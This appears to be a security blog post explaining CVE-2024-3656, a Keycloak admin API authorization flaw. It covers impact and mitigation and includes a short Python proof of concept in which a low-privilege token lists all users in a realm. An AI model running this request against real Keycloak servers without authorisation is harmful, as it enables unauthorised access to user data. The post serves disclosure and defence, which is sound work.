In June 2024, a critical vulnerability shook the world of open source identity and access management. CVE-2024-3656 was found in Keycloak, a widely used tool for securing applications. If you use Keycloak in your organization, understanding this flaw is crucial. In this post, we’ll break down what happened, show some sample code, and explain how attackers can exploit it.

What is CVE-2024-3656?

CVE-2024-3656 is a security vulnerability in Keycloak's administrative REST API. Because of a permission misconfiguration, regular users with low-level access were able to call endpoints that were meant only for system administrators. In simple terms: a normal user could do admin stuff.

Potential impact: Unauthorized users could perform critical actions—like changing configurations, viewing sensitive data, or even creating/deleting users—without needing admin-level permissions.

How Did the Flaw Happen?

Keycloak manages permissions using roles and scopes. Some endpoints (like user management or realm settings) should only be accessible with admin rights. Due to this flaw, the authorization checks were either missing or misconfigured on certain critical endpoints.

Proof of Concept: Exploiting CVE-2024-3656

Here’s a simple Python example using requests. Suppose a low-privilege user with a valid bearer token is able to list all users in a realm—a task reserved for admins.

import requests

# Replace with your own values
KEYCLOAK_URL = 'https://your-keycloak-server.com';
REALM = 'yourrealm'
ACCESS_TOKEN = 'your-low-privilege-user-access-token'

headers = {
    'Authorization': f'Bearer {ACCESS_TOKEN}',
    'Content-Type': 'application/json'
}

endpoint = f'{KEYCLOAK_URL}/admin/realms/{REALM}/users'
response = requests.get(endpoint, headers=headers)

if response.ok:
    print('Users in realm:')
    print(response.json())
else:
    print('Request failed:', response.status_code)
    print(response.text)

Expected:
A regular user should see a 403 Forbidden error.
Vulnerable system:
The user receives a full list of users—data breach!

Real-World Impact

Companies relying on Keycloak for authentication and authorization may unknowingly expose their entire user base and application settings. Once exploited, malicious users can go far beyond their authorized permissions, compromising the integrity of the system and putting sensitive business data at risk.

Mitigation and Fixes

What you should do:
- Upgrade to the latest patched Keycloak version immediately.
- Audit your Keycloak instance logs for suspicious API calls to /admin/realms/{realm}/... endpoints by non-admin users.
- Follow the official Keycloak security advisory for ongoing updates.

References

- Keycloak Official Website
- CVE Record at NVD (National Vulnerability Database) (link will be live after publication)
- Keycloak Security Advisories

Takeaway

If your system uses Keycloak, CVE-2024-3656 is a red alert. This flaw is easy to exploit and offers enormous power to unauthorized users. Patch your system, review your logs, and stay updated on security advisories.

Stay safe! 🔐

Disclaimer: This post is for educational purposes only. Do not use this information for unauthorized or illegal activities. Always obtain permission before testing systems you do not own.

Timeline

Published on: 10/09/2024 19:15:13 UTC